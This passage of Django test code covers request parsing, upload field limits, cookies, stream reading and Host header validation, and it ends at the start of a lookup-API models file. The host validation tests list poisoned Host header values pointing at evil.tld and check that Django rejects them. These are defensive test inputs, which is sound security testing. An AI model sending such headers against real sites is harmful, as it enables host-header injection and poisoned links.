    def test_number_exceeded(self):
        with self.settings(DATA_UPLOAD_MAX_NUMBER_FIELDS=1):
            with self.assertRaisesMessage(TooManyFieldsSent, TOO_MANY_FIELDS_MSG):
                self.request._load_post_and_files()

    def test_number_not_exceeded(self):
        with self.settings(DATA_UPLOAD_MAX_NUMBER_FIELDS=2):
            self.request._load_post_and_files()

    def test_no_limit(self):
        with self.settings(DATA_UPLOAD_MAX_NUMBER_FIELDS=None):
            self.request._load_post_and_files()


class DataUploadMaxNumberOfFieldsFormPost(SimpleTestCase):
    def setUp(self):
        payload = FakePayload("\r\n".join(['a=1&a=2;a=3', '']))
        self.request = WSGIRequest({
            'REQUEST_METHOD': 'POST',
            'CONTENT_TYPE': 'application/x-www-form-urlencoded',
            'CONTENT_LENGTH': len(payload),
            'wsgi.input': payload,
        })

    def test_number_exceeded(self):
        with self.settings(DATA_UPLOAD_MAX_NUMBER_FIELDS=2):
            with self.assertRaisesMessage(TooManyFieldsSent, TOO_MANY_FIELDS_MSG):
                self.request._load_post_and_files()

    def test_number_not_exceeded(self):
        with self.settings(DATA_UPLOAD_MAX_NUMBER_FIELDS=3):
            self.request._load_post_and_files()

    def test_no_limit(self):
        with self.settings(DATA_UPLOAD_MAX_NUMBER_FIELDS=None):
            self.request._load_post_and_files()












# -*- encoding: utf-8 -*-
from __future__ import unicode_literals

import time
from datetime import datetime, timedelta
from io import BytesIO
from itertools import chain

from django.core.exceptions import SuspiciousOperation
from django.core.handlers.wsgi import LimitedStream, WSGIRequest
from django.http import (
    HttpRequest, HttpResponse, RawPostDataException, UnreadablePostError,
)
from django.test import RequestFactory, SimpleTestCase, override_settings
from django.test.client import FakePayload
from django.test.utils import freeze_time, str_prefix
from django.utils import six
from django.utils.encoding import force_str
from django.utils.http import cookie_date, urlencode
from django.utils.six.moves import http_cookies
from django.utils.six.moves.urllib.parse import urlencode as original_urlencode
from django.utils.timezone import utc


class RequestsTests(SimpleTestCase):
    def test_httprequest(self):
        request = HttpRequest()
        self.assertEqual(list(request.GET.keys()), [])
        self.assertEqual(list(request.POST.keys()), [])
        self.assertEqual(list(request.COOKIES.keys()), [])
        self.assertEqual(list(request.META.keys()), [])

        # .GET and .POST should be QueryDicts
        self.assertEqual(request.GET.urlencode(), '')
        self.assertEqual(request.POST.urlencode(), '')

        # and FILES should be MultiValueDict
        self.assertEqual(request.FILES.getlist('foo'), [])

        self.assertIsNone(request.content_type)
        self.assertIsNone(request.content_params)

    def test_httprequest_full_path(self):
        request = HttpRequest()
        request.path = request.path_info = '/;some/?awful/=path/foo:bar/'
        request.META['QUERY_STRING'] = ';some=query&+query=string'
        expected = '/%3Bsome/%3Fawful/%3Dpath/foo:bar/?;some=query&+query=string'
        self.assertEqual(request.get_full_path(), expected)

    def test_httprequest_full_path_with_query_string_and_fragment(self):
        request = HttpRequest()
        request.path = request.path_info = '/foo#bar'
        request.META['QUERY_STRING'] = 'baz#quux'
        self.assertEqual(request.get_full_path(), '/foo%23bar?baz#quux')

    def test_httprequest_repr(self):
        request = HttpRequest()
        request.path = '/somepath/'
        request.method = 'GET'
        request.GET = {'get-key': 'get-value'}
        request.POST = {'post-key': 'post-value'}
        request.COOKIES = {'post-key': 'post-value'}
        request.META = {'post-key': 'post-value'}
        self.assertEqual(repr(request), str_prefix("<HttpRequest: GET '/somepath/'>"))

    def test_httprequest_repr_invalid_method_and_path(self):
        request = HttpRequest()
        self.assertEqual(repr(request), str_prefix("<HttpRequest>"))
        request = HttpRequest()
        request.method = "GET"
        self.assertEqual(repr(request), str_prefix("<HttpRequest>"))
        request = HttpRequest()
        request.path = ""
        self.assertEqual(repr(request), str_prefix("<HttpRequest>"))

    def test_wsgirequest(self):
        request = WSGIRequest({
            'PATH_INFO': 'bogus',
            'REQUEST_METHOD': 'bogus',
            'CONTENT_TYPE': 'text/html; charset=utf8',
            'wsgi.input': BytesIO(b''),
        })
        self.assertEqual(list(request.GET.keys()), [])
        self.assertEqual(list(request.POST.keys()), [])
        self.assertEqual(list(request.COOKIES.keys()), [])
        self.assertEqual(
            set(request.META.keys()),
            {'PATH_INFO', 'REQUEST_METHOD', 'SCRIPT_NAME', 'CONTENT_TYPE', 'wsgi.input'}
        )
        self.assertEqual(request.META['PATH_INFO'], 'bogus')
        self.assertEqual(request.META['REQUEST_METHOD'], 'bogus')
        self.assertEqual(request.META['SCRIPT_NAME'], '')
        self.assertEqual(request.content_type, 'text/html')
        self.assertEqual(request.content_params, {'charset': 'utf8'})

    def test_wsgirequest_with_script_name(self):
        """
        Ensure that the request's path is correctly assembled, regardless of
        whether or not the SCRIPT_NAME has a trailing slash.
        Refs #20169.
        """
        # With trailing slash
        request = WSGIRequest({
            'PATH_INFO': '/somepath/',
            'SCRIPT_NAME': '/PREFIX/',
            'REQUEST_METHOD': 'get',
            'wsgi.input': BytesIO(b''),
        })
        self.assertEqual(request.path, '/PREFIX/somepath/')
        # Without trailing slash
        request = WSGIRequest({
            'PATH_INFO': '/somepath/',
            'SCRIPT_NAME': '/PREFIX',
            'REQUEST_METHOD': 'get',
            'wsgi.input': BytesIO(b''),
        })
        self.assertEqual(request.path, '/PREFIX/somepath/')

    def test_wsgirequest_script_url_double_slashes(self):
        """
        WSGI squashes multiple successive slashes in PATH_INFO, WSGIRequest
        should take that into account when populating request.path and
        request.META['SCRIPT_NAME'].
        Refs #17133.
        """
        request = WSGIRequest({
            'SCRIPT_URL': '/mst/milestones//accounts/login//help',
            'PATH_INFO': '/milestones/accounts/login/help',
            'REQUEST_METHOD': 'get',
            'wsgi.input': BytesIO(b''),
        })
        self.assertEqual(request.path, '/mst/milestones/accounts/login/help')
        self.assertEqual(request.META['SCRIPT_NAME'], '/mst')

    def test_wsgirequest_with_force_script_name(self):
        """
        Ensure that the FORCE_SCRIPT_NAME setting takes precedence over the
        request's SCRIPT_NAME environment parameter.
        Refs #20169.
        """
        with override_settings(FORCE_SCRIPT_NAME='/FORCED_PREFIX/'):
            request = WSGIRequest({
                'PATH_INFO': '/somepath/',
                'SCRIPT_NAME': '/PREFIX/',
                'REQUEST_METHOD': 'get',
                'wsgi.input': BytesIO(b''),
            })
            self.assertEqual(request.path, '/FORCED_PREFIX/somepath/')

    def test_wsgirequest_path_with_force_script_name_trailing_slash(self):
        """
        Ensure that the request's path is correctly assembled, regardless of
        whether or not the FORCE_SCRIPT_NAME setting has a trailing slash.
        Refs #20169.
        """
        # With trailing slash
        with override_settings(FORCE_SCRIPT_NAME='/FORCED_PREFIX/'):
            request = WSGIRequest({'PATH_INFO': '/somepath/', 'REQUEST_METHOD': 'get', 'wsgi.input': BytesIO(b'')})
            self.assertEqual(request.path, '/FORCED_PREFIX/somepath/')
        # Without trailing slash
        with override_settings(FORCE_SCRIPT_NAME='/FORCED_PREFIX'):
            request = WSGIRequest({'PATH_INFO': '/somepath/', 'REQUEST_METHOD': 'get', 'wsgi.input': BytesIO(b'')})
            self.assertEqual(request.path, '/FORCED_PREFIX/somepath/')

    def test_wsgirequest_repr(self):
        request = WSGIRequest({'REQUEST_METHOD': 'get', 'wsgi.input': BytesIO(b'')})
        self.assertEqual(repr(request), str_prefix("<WSGIRequest: GET '/'>"))
        request = WSGIRequest({'PATH_INFO': '/somepath/', 'REQUEST_METHOD': 'get', 'wsgi.input': BytesIO(b'')})
        request.GET = {'get-key': 'get-value'}
        request.POST = {'post-key': 'post-value'}
        request.COOKIES = {'post-key': 'post-value'}
        request.META = {'post-key': 'post-value'}
        self.assertEqual(repr(request), str_prefix("<WSGIRequest: GET '/somepath/'>"))

    def test_wsgirequest_path_info(self):
        def wsgi_str(path_info, encoding='utf-8'):
            path_info = path_info.encode(encoding)           # Actual URL sent by the browser (bytestring)
            if six.PY3:
                path_info = path_info.decode('iso-8859-1')  # Value in the WSGI environ dict (native string)
            return path_info
        # Regression for #19468
        request = WSGIRequest({'PATH_INFO': wsgi_str("/سلام/"), 'REQUEST_METHOD': 'get', 'wsgi.input': BytesIO(b'')})
        self.assertEqual(request.path, "/سلام/")

        # The URL may be incorrectly encoded in a non-UTF-8 encoding (#26971)
        request = WSGIRequest({
            'PATH_INFO': wsgi_str("/café/", encoding='iso-8859-1'),
            'REQUEST_METHOD': 'get',
            'wsgi.input': BytesIO(b''),
        })
        # Since it's impossible to decide the (wrong) encoding of the URL, it's
        # left percent-encoded in the path.
        self.assertEqual(request.path, "/caf%E9/")

    def test_httprequest_location(self):
        request = HttpRequest()
        self.assertEqual(
            request.build_absolute_uri(location="https://www.example.com/asdf"),
            'https://www.example.com/asdf'
        )

        request.get_host = lambda: 'www.example.com'
        request.path = ''
        self.assertEqual(
            request.build_absolute_uri(location="/path/with:colons"),
            'http://www.example.com/path/with:colons'
        )

    def test_near_expiration(self):
        "Cookie will expire when an near expiration time is provided"
        response = HttpResponse()
        # There is a timing weakness in this test; The
        # expected result for max-age requires that there be
        # a very slight difference between the evaluated expiration
        # time, and the time evaluated in set_cookie(). If this
        # difference doesn't exist, the cookie time will be
        # 1 second larger. To avoid the problem, put in a quick sleep,
        # which guarantees that there will be a time difference.
        expires = datetime.utcnow() + timedelta(seconds=10)
        time.sleep(0.001)
        response.set_cookie('datetime', expires=expires)
        datetime_cookie = response.cookies['datetime']
        self.assertEqual(datetime_cookie['max-age'], 10)

    def test_aware_expiration(self):
        "Cookie accepts an aware datetime as expiration time"
        response = HttpResponse()
        expires = (datetime.utcnow() + timedelta(seconds=10)).replace(tzinfo=utc)
        time.sleep(0.001)
        response.set_cookie('datetime', expires=expires)
        datetime_cookie = response.cookies['datetime']
        self.assertEqual(datetime_cookie['max-age'], 10)

    def test_create_cookie_after_deleting_cookie(self):
        """
        Setting a cookie after deletion should clear the expiry date.
        """
        response = HttpResponse()
        response.set_cookie('c', 'old-value')
        self.assertEqual(response.cookies['c']['expires'], '')
        response.delete_cookie('c')
        self.assertEqual(response.cookies['c']['expires'], 'Thu, 01-Jan-1970 00:00:00 GMT')
        response.set_cookie('c', 'new-value')
        self.assertEqual(response.cookies['c']['expires'], '')

    def test_far_expiration(self):
        "Cookie will expire when an distant expiration time is provided"
        response = HttpResponse()
        response.set_cookie('datetime', expires=datetime(2028, 1, 1, 4, 5, 6))
        datetime_cookie = response.cookies['datetime']
        self.assertIn(
            datetime_cookie['expires'],
            # Slight time dependency; refs #23450
            ('Sat, 01-Jan-2028 04:05:06 GMT', 'Sat, 01-Jan-2028 04:05:07 GMT')
        )

    def test_max_age_expiration(self):
        "Cookie will expire if max_age is provided"
        response = HttpResponse()
        set_cookie_time = time.time()
        with freeze_time(set_cookie_time):
            response.set_cookie('max_age', max_age=10)
        max_age_cookie = response.cookies['max_age']
        self.assertEqual(max_age_cookie['max-age'], 10)
        self.assertEqual(max_age_cookie['expires'], cookie_date(set_cookie_time + 10))

    def test_httponly_cookie(self):
        response = HttpResponse()
        response.set_cookie('example', httponly=True)
        example_cookie = response.cookies['example']
        # A compat cookie may be in use -- check that it has worked
        # both as an output string, and using the cookie attributes
        self.assertIn('; %s' % http_cookies.Morsel._reserved['httponly'], str(example_cookie))
        self.assertTrue(example_cookie['httponly'])

    def test_unicode_cookie(self):
        "Verify HttpResponse.set_cookie() works with unicode data."
        response = HttpResponse()
        cookie_value = '清風'
        response.set_cookie('test', cookie_value)
        self.assertEqual(force_str(cookie_value), response.cookies['test'].value)

    def test_limited_stream(self):
        # Read all of a limited stream
        stream = LimitedStream(BytesIO(b'test'), 2)
        self.assertEqual(stream.read(), b'te')
        # Reading again returns nothing.
        self.assertEqual(stream.read(), b'')

        # Read a number of characters greater than the stream has to offer
        stream = LimitedStream(BytesIO(b'test'), 2)
        self.assertEqual(stream.read(5), b'te')
        # Reading again returns nothing.
        self.assertEqual(stream.readline(5), b'')

        # Read sequentially from a stream
        stream = LimitedStream(BytesIO(b'12345678'), 8)
        self.assertEqual(stream.read(5), b'12345')
        self.assertEqual(stream.read(5), b'678')
        # Reading again returns nothing.
        self.assertEqual(stream.readline(5), b'')

        # Read lines from a stream
        stream = LimitedStream(BytesIO(b'1234\n5678\nabcd\nefgh\nijkl'), 24)
        # Read a full line, unconditionally
        self.assertEqual(stream.readline(), b'1234\n')
        # Read a number of characters less than a line
        self.assertEqual(stream.readline(2), b'56')
        # Read the rest of the partial line
        self.assertEqual(stream.readline(), b'78\n')
        # Read a full line, with a character limit greater than the line length
        self.assertEqual(stream.readline(6), b'abcd\n')
        # Read the next line, deliberately terminated at the line end
        self.assertEqual(stream.readline(4), b'efgh')
        # Read the next line... just the line end
        self.assertEqual(stream.readline(), b'\n')
        # Read everything else.
        self.assertEqual(stream.readline(), b'ijkl')

        # Regression for #15018
        # If a stream contains a newline, but the provided length
        # is less than the number of provided characters, the newline
        # doesn't reset the available character count
        stream = LimitedStream(BytesIO(b'1234\nabcdef'), 9)
        self.assertEqual(stream.readline(10), b'1234\n')
        self.assertEqual(stream.readline(3), b'abc')
        # Now expire the available characters
        self.assertEqual(stream.readline(3), b'd')
        # Reading again returns nothing.
        self.assertEqual(stream.readline(2), b'')

        # Same test, but with read, not readline.
        stream = LimitedStream(BytesIO(b'1234\nabcdef'), 9)
        self.assertEqual(stream.read(6), b'1234\na')
        self.assertEqual(stream.read(2), b'bc')
        self.assertEqual(stream.read(2), b'd')
        self.assertEqual(stream.read(2), b'')
        self.assertEqual(stream.read(), b'')

    def test_stream(self):
        payload = FakePayload('name=value')
        request = WSGIRequest({'REQUEST_METHOD': 'POST',
                               'CONTENT_TYPE': 'application/x-www-form-urlencoded',
                               'CONTENT_LENGTH': len(payload),
                               'wsgi.input': payload})
        self.assertEqual(request.read(), b'name=value')

    def test_read_after_value(self):
        """
        Reading from request is allowed after accessing request contents as
        POST or body.
        """
        payload = FakePayload('name=value')
        request = WSGIRequest({'REQUEST_METHOD': 'POST',
                               'CONTENT_TYPE': 'application/x-www-form-urlencoded',
                               'CONTENT_LENGTH': len(payload),
                               'wsgi.input': payload})
        self.assertEqual(request.POST, {'name': ['value']})
        self.assertEqual(request.body, b'name=value')
        self.assertEqual(request.read(), b'name=value')

    def test_value_after_read(self):
        """
        Construction of POST or body is not allowed after reading
        from request.
        """
        payload = FakePayload('name=value')
        request = WSGIRequest({'REQUEST_METHOD': 'POST',
                               'CONTENT_TYPE': 'application/x-www-form-urlencoded',
                               'CONTENT_LENGTH': len(payload),
                               'wsgi.input': payload})
        self.assertEqual(request.read(2), b'na')
        with self.assertRaises(RawPostDataException):
            request.body
        self.assertEqual(request.POST, {})

    def test_non_ascii_POST(self):
        payload = FakePayload(urlencode({'key': 'España'}))
        request = WSGIRequest({
            'REQUEST_METHOD': 'POST',
            'CONTENT_LENGTH': len(payload),
            'CONTENT_TYPE': 'application/x-www-form-urlencoded',
            'wsgi.input': payload,
        })
        self.assertEqual(request.POST, {'key': ['España']})

    def test_alternate_charset_POST(self):
        """
        Test a POST with non-utf-8 payload encoding.
        """
        payload = FakePayload(original_urlencode({'key': 'España'.encode('latin-1')}))
        request = WSGIRequest({
            'REQUEST_METHOD': 'POST',
            'CONTENT_LENGTH': len(payload),
            'CONTENT_TYPE': 'application/x-www-form-urlencoded; charset=iso-8859-1',
            'wsgi.input': payload,
        })
        self.assertEqual(request.POST, {'key': ['España']})

    def test_body_after_POST_multipart_form_data(self):
        """
        Reading body after parsing multipart/form-data is not allowed
        """
        # Because multipart is used for large amounts of data i.e. file uploads,
        # we don't want the data held in memory twice, and we don't want to
        # silence the error by setting body = '' either.
        payload = FakePayload("\r\n".join([
            '--boundary',
            'Content-Disposition: form-data; name="name"',
            '',
            'value',
            '--boundary--'
            '']))
        request = WSGIRequest({'REQUEST_METHOD': 'POST',
                               'CONTENT_TYPE': 'multipart/form-data; boundary=boundary',
                               'CONTENT_LENGTH': len(payload),
                               'wsgi.input': payload})
        self.assertEqual(request.POST, {'name': ['value']})
        with self.assertRaises(RawPostDataException):
            request.body

    def test_body_after_POST_multipart_related(self):
        """
        Reading body after parsing multipart that isn't form-data is allowed
        """
        # Ticket #9054
        # There are cases in which the multipart data is related instead of
        # being a binary upload, in which case it should still be accessible
        # via body.
        payload_data = b"\r\n".join([
            b'--boundary',
            b'Content-ID: id; name="name"',
            b'',
            b'value',
            b'--boundary--'
            b''])
        payload = FakePayload(payload_data)
        request = WSGIRequest({'REQUEST_METHOD': 'POST',
                               'CONTENT_TYPE': 'multipart/related; boundary=boundary',
                               'CONTENT_LENGTH': len(payload),
                               'wsgi.input': payload})
        self.assertEqual(request.POST, {})
        self.assertEqual(request.body, payload_data)

    def test_POST_multipart_with_content_length_zero(self):
        """
        Multipart POST requests with Content-Length >= 0 are valid and need to be handled.
        """
        # According to:
        # http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.13
        # Every request.POST with Content-Length >= 0 is a valid request,
        # this test ensures that we handle Content-Length == 0.
        payload = FakePayload("\r\n".join([
            '--boundary',
            'Content-Disposition: form-data; name="name"',
            '',
            'value',
            '--boundary--'
            '']))
        request = WSGIRequest({'REQUEST_METHOD': 'POST',
                               'CONTENT_TYPE': 'multipart/form-data; boundary=boundary',
                               'CONTENT_LENGTH': 0,
                               'wsgi.input': payload})
        self.assertEqual(request.POST, {})

    def test_POST_binary_only(self):
        payload = b'\r\n\x01\x00\x00\x00ab\x00\x00\xcd\xcc,@'
        environ = {'REQUEST_METHOD': 'POST',
                   'CONTENT_TYPE': 'application/octet-stream',
                   'CONTENT_LENGTH': len(payload),
                   'wsgi.input': BytesIO(payload)}
        request = WSGIRequest(environ)
        self.assertEqual(request.POST, {})
        self.assertEqual(request.FILES, {})
        self.assertEqual(request.body, payload)

        # Same test without specifying content-type
        environ.update({'CONTENT_TYPE': '', 'wsgi.input': BytesIO(payload)})
        request = WSGIRequest(environ)
        self.assertEqual(request.POST, {})
        self.assertEqual(request.FILES, {})
        self.assertEqual(request.body, payload)

    def test_read_by_lines(self):
        payload = FakePayload('name=value')
        request = WSGIRequest({'REQUEST_METHOD': 'POST',
                               'CONTENT_TYPE': 'application/x-www-form-urlencoded',
                               'CONTENT_LENGTH': len(payload),
                               'wsgi.input': payload})
        self.assertEqual(list(request), [b'name=value'])

    def test_POST_after_body_read(self):
        """
        POST should be populated even if body is read first
        """
        payload = FakePayload('name=value')
        request = WSGIRequest({'REQUEST_METHOD': 'POST',
                               'CONTENT_TYPE': 'application/x-www-form-urlencoded',
                               'CONTENT_LENGTH': len(payload),
                               'wsgi.input': payload})
        request.body  # evaluate
        self.assertEqual(request.POST, {'name': ['value']})

    def test_POST_after_body_read_and_stream_read(self):
        """
        POST should be populated even if body is read first, and then
        the stream is read second.
        """
        payload = FakePayload('name=value')
        request = WSGIRequest({'REQUEST_METHOD': 'POST',
                               'CONTENT_TYPE': 'application/x-www-form-urlencoded',
                               'CONTENT_LENGTH': len(payload),
                               'wsgi.input': payload})
        request.body  # evaluate
        self.assertEqual(request.read(1), b'n')
        self.assertEqual(request.POST, {'name': ['value']})

    def test_POST_after_body_read_and_stream_read_multipart(self):
        """
        POST should be populated even if body is read first, and then
        the stream is read second. Using multipart/form-data instead of urlencoded.
        """
        payload = FakePayload("\r\n".join([
            '--boundary',
            'Content-Disposition: form-data; name="name"',
            '',
            'value',
            '--boundary--'
            '']))
        request = WSGIRequest({'REQUEST_METHOD': 'POST',
                               'CONTENT_TYPE': 'multipart/form-data; boundary=boundary',
                               'CONTENT_LENGTH': len(payload),
                               'wsgi.input': payload})
        request.body  # evaluate
        # Consume enough data to mess up the parsing:
        self.assertEqual(request.read(13), b'--boundary\r\nC')
        self.assertEqual(request.POST, {'name': ['value']})

    def test_POST_connection_error(self):
        """
        If wsgi.input.read() raises an exception while trying to read() the
        POST, the exception should be identifiable (not a generic IOError).
        """
        class ExplodingBytesIO(BytesIO):
            def read(self, len=0):
                raise IOError("kaboom!")

        payload = b'name=value'
        request = WSGIRequest({'REQUEST_METHOD': 'POST',
                               'CONTENT_TYPE': 'application/x-www-form-urlencoded',
                               'CONTENT_LENGTH': len(payload),
                               'wsgi.input': ExplodingBytesIO(payload)})

        with self.assertRaises(UnreadablePostError):
            request.body

    def test_FILES_connection_error(self):
        """
        If wsgi.input.read() raises an exception while trying to read() the
        FILES, the exception should be identifiable (not a generic IOError).
        """
        class ExplodingBytesIO(BytesIO):
            def read(self, len=0):
                raise IOError("kaboom!")

        payload = b'x'
        request = WSGIRequest({'REQUEST_METHOD': 'POST',
                               'CONTENT_TYPE': 'multipart/form-data; boundary=foo_',
                               'CONTENT_LENGTH': len(payload),
                               'wsgi.input': ExplodingBytesIO(payload)})

        with self.assertRaises(UnreadablePostError):
            request.FILES

    @override_settings(ALLOWED_HOSTS=['example.com'])
    def test_get_raw_uri(self):
        factory = RequestFactory(HTTP_HOST='evil.com')
        request = factory.get('////absolute-uri')
        self.assertEqual(request.get_raw_uri(), 'http://evil.com//absolute-uri')

        request = factory.get('/?foo=bar')
        self.assertEqual(request.get_raw_uri(), 'http://evil.com/?foo=bar')

        request = factory.get('/path/with:colons')
        self.assertEqual(request.get_raw_uri(), 'http://evil.com/path/with:colons')


class HostValidationTests(SimpleTestCase):
    poisoned_hosts = [
        'example.com@evil.tld',
        'example.com:dr.frankenstein@evil.tld',
        'example.com:dr.frankenstein@evil.tld:80',
        'example.com:80/badpath',
        'example.com: recovermypassword.com',
    ]

    @override_settings(
        USE_X_FORWARDED_HOST=False,
        ALLOWED_HOSTS=[
            'forward.com', 'example.com', 'internal.com', '12.34.56.78',
            '[2001:19f0:feee::dead:beef:cafe]', 'xn--4ca9at.com',
            '.multitenant.com', 'INSENSITIVE.com', '[::ffff:169.254.169.254]',
        ])
    def test_http_get_host(self):
        # Check if X_FORWARDED_HOST is provided.
        request = HttpRequest()
        request.META = {
            'HTTP_X_FORWARDED_HOST': 'forward.com',
            'HTTP_HOST': 'example.com',
            'SERVER_NAME': 'internal.com',
            'SERVER_PORT': 80,
        }
        # X_FORWARDED_HOST is ignored.
        self.assertEqual(request.get_host(), 'example.com')

        # Check if X_FORWARDED_HOST isn't provided.
        request = HttpRequest()
        request.META = {
            'HTTP_HOST': 'example.com',
            'SERVER_NAME': 'internal.com',
            'SERVER_PORT': 80,
        }
        self.assertEqual(request.get_host(), 'example.com')

        # Check if HTTP_HOST isn't provided.
        request = HttpRequest()
        request.META = {
            'SERVER_NAME': 'internal.com',
            'SERVER_PORT': 80,
        }
        self.assertEqual(request.get_host(), 'internal.com')

        # Check if HTTP_HOST isn't provided, and we're on a nonstandard port
        request = HttpRequest()
        request.META = {
            'SERVER_NAME': 'internal.com',
            'SERVER_PORT': 8042,
        }
        self.assertEqual(request.get_host(), 'internal.com:8042')

        legit_hosts = [
            'example.com',
            'example.com:80',
            '12.34.56.78',
            '12.34.56.78:443',
            '[2001:19f0:feee::dead:beef:cafe]',
            '[2001:19f0:feee::dead:beef:cafe]:8080',
            'xn--4ca9at.com',  # Punycode for öäü.com
            'anything.multitenant.com',
            'multitenant.com',
            'insensitive.com',
            'example.com.',
            'example.com.:80',
            '[::ffff:169.254.169.254]',
        ]

        for host in legit_hosts:
            request = HttpRequest()
            request.META = {
                'HTTP_HOST': host,
            }
            request.get_host()

        # Poisoned host headers are rejected as suspicious
        for host in chain(self.poisoned_hosts, ['other.com', 'example.com..']):
            with self.assertRaises(SuspiciousOperation):
                request = HttpRequest()
                request.META = {
                    'HTTP_HOST': host,
                }
                request.get_host()

    @override_settings(USE_X_FORWARDED_HOST=True, ALLOWED_HOSTS=['*'])
    def test_http_get_host_with_x_forwarded_host(self):
        # Check if X_FORWARDED_HOST is provided.
        request = HttpRequest()
        request.META = {
            'HTTP_X_FORWARDED_HOST': 'forward.com',
            'HTTP_HOST': 'example.com',
            'SERVER_NAME': 'internal.com',
            'SERVER_PORT': 80,
        }
        # X_FORWARDED_HOST is obeyed.
        self.assertEqual(request.get_host(), 'forward.com')

        # Check if X_FORWARDED_HOST isn't provided.
        request = HttpRequest()
        request.META = {
            'HTTP_HOST': 'example.com',
            'SERVER_NAME': 'internal.com',
            'SERVER_PORT': 80,
        }
        self.assertEqual(request.get_host(), 'example.com')

        # Check if HTTP_HOST isn't provided.
        request = HttpRequest()
        request.META = {
            'SERVER_NAME': 'internal.com',
            'SERVER_PORT': 80,
        }
        self.assertEqual(request.get_host(), 'internal.com')

        # Check if HTTP_HOST isn't provided, and we're on a nonstandard port
        request = HttpRequest()
        request.META = {
            'SERVER_NAME': 'internal.com',
            'SERVER_PORT': 8042,
        }
        self.assertEqual(request.get_host(), 'internal.com:8042')

        # Poisoned host headers are rejected as suspicious
        legit_hosts = [
            'example.com',
            'example.com:80',
            '12.34.56.78',
            '12.34.56.78:443',
            '[2001:19f0:feee::dead:beef:cafe]',
            '[2001:19f0:feee::dead:beef:cafe]:8080',
            'xn--4ca9at.com',  # Punycode for öäü.com
        ]

        for host in legit_hosts:
            request = HttpRequest()
            request.META = {
                'HTTP_HOST': host,
            }
            request.get_host()

        for host in self.poisoned_hosts:
            with self.assertRaises(SuspiciousOperation):
                request = HttpRequest()
                request.META = {
                    'HTTP_HOST': host,
                }
                request.get_host()

    @override_settings(USE_X_FORWARDED_PORT=False)
    def test_get_port(self):
        request = HttpRequest()
        request.META = {
            'SERVER_PORT': '8080',
            'HTTP_X_FORWARDED_PORT': '80',
        }
        # Shouldn't use the X-Forwarded-Port header
        self.assertEqual(request.get_port(), '8080')

        request = HttpRequest()
        request.META = {
            'SERVER_PORT': '8080',
        }
        self.assertEqual(request.get_port(), '8080')

    @override_settings(USE_X_FORWARDED_PORT=True)
    def test_get_port_with_x_forwarded_port(self):
        request = HttpRequest()
        request.META = {
            'SERVER_PORT': '8080',
            'HTTP_X_FORWARDED_PORT': '80',
        }
        # Should use the X-Forwarded-Port header
        self.assertEqual(request.get_port(), '80')

        request = HttpRequest()
        request.META = {
            'SERVER_PORT': '8080',
        }
        self.assertEqual(request.get_port(), '8080')

    @override_settings(DEBUG=True, ALLOWED_HOSTS=[])
    def test_host_validation_disabled_in_debug_mode(self):
        """If ALLOWED_HOSTS is empty and DEBUG is True, all hosts pass."""
        request = HttpRequest()
        request.META = {
            'HTTP_HOST': 'example.com',
        }
        self.assertEqual(request.get_host(), 'example.com')

        # Invalid hostnames would normally raise a SuspiciousOperation,
        # but we have DEBUG=True, so this check is disabled.
        request = HttpRequest()
        request.META = {
            'HTTP_HOST': "invalid_hostname.com",
        }
        self.assertEqual(request.get_host(), "invalid_hostname.com")

    @override_settings(ALLOWED_HOSTS=[])
    def test_get_host_suggestion_of_allowed_host(self):
        """get_host() makes helpful suggestions if a valid-looking host is not in ALLOWED_HOSTS."""
        msg_invalid_host = "Invalid HTTP_HOST header: %r."
        msg_suggestion = msg_invalid_host + " You may need to add %r to ALLOWED_HOSTS."
        msg_suggestion2 = msg_invalid_host + " The domain name provided is not valid according to RFC 1034/1035"

        for host in [  # Valid-looking hosts
            'example.com',
            '12.34.56.78',
            '[2001:19f0:feee::dead:beef:cafe]',
            'xn--4ca9at.com',  # Punycode for öäü.com
        ]:
            request = HttpRequest()
            request.META = {'HTTP_HOST': host}
            with self.assertRaisesMessage(SuspiciousOperation, msg_suggestion % (host, host)):
                request.get_host()

        for domain, port in [  # Valid-looking hosts with a port number
            ('example.com', 80),
            ('12.34.56.78', 443),
            ('[2001:19f0:feee::dead:beef:cafe]', 8080),
        ]:
            host = '%s:%s' % (domain, port)
            request = HttpRequest()
            request.META = {'HTTP_HOST': host}
            with self.assertRaisesMessage(SuspiciousOperation, msg_suggestion % (host, domain)):
                request.get_host()

        for host in self.poisoned_hosts:
            request = HttpRequest()
            request.META = {'HTTP_HOST': host}
            with self.assertRaisesMessage(SuspiciousOperation, msg_invalid_host % host):
                request.get_host()

        request = HttpRequest()
        request.META = {'HTTP_HOST': "invalid_hostname.com"}
        with self.assertRaisesMessage(SuspiciousOperation, msg_suggestion2 % "invalid_hostname.com"):
            request.get_host()


class BuildAbsoluteURITestCase(SimpleTestCase):
    """
    Regression tests for ticket #18314.
    """

    def setUp(self):
        self.factory = RequestFactory()

    def test_build_absolute_uri_no_location(self):
        """
        Ensures that ``request.build_absolute_uri()`` returns the proper value
        when the ``location`` argument is not provided, and ``request.path``
        begins with //.
        """
        # //// is needed to create a request with a path beginning with //
        request = self.factory.get('////absolute-uri')
        self.assertEqual(
            request.build_absolute_uri(),
            'http://testserver//absolute-uri'
        )

    def test_build_absolute_uri_absolute_location(self):
        """
        Ensures that ``request.build_absolute_uri()`` returns the proper value
        when an absolute URL ``location`` argument is provided, and
        ``request.path`` begins with //.
        """
        # //// is needed to create a request with a path beginning with //
        request = self.factory.get('////absolute-uri')
        self.assertEqual(
            request.build_absolute_uri(location='http://example.com/?foo=bar'),
            'http://example.com/?foo=bar'
        )

    def test_build_absolute_uri_schema_relative_location(self):
        """
        Ensures that ``request.build_absolute_uri()`` returns the proper value
        when a schema-relative URL ``location`` argument is provided, and
        ``request.path`` begins with //.
        """
        # //// is needed to create a request with a path beginning with //
        request = self.factory.get('////absolute-uri')
        self.assertEqual(
            request.build_absolute_uri(location='//example.com/?foo=bar'),
            'http://example.com/?foo=bar'
        )

    def test_build_absolute_uri_relative_location(self):
        """
        Ensures that ``request.build_absolute_uri()`` returns the proper value
        when a relative URL ``location`` argument is provided, and
        ``request.path`` begins with //.
        """
        # //// is needed to create a request with a path beginning with //
        request = self.factory.get('////absolute-uri')
        self.assertEqual(
            request.build_absolute_uri(location='/foo/bar/'),
            'http://testserver/foo/bar/'
        )






"""
The lookup API

This demonstrates features of the database API.
"""

from __future__ import unicode_literals

from django.db import models
from django.utils import six
from django.utils.encoding import python_2_unicode_compatible


class Alarm(models.Model):
    desc = models.CharField(max_length=100)
    time = models.TimeField()

    def __str__(self):
        return '%s (%s)' % (self.time, self.desc)


class Author(models.Model):
    name = models.CharField(max_length=100)

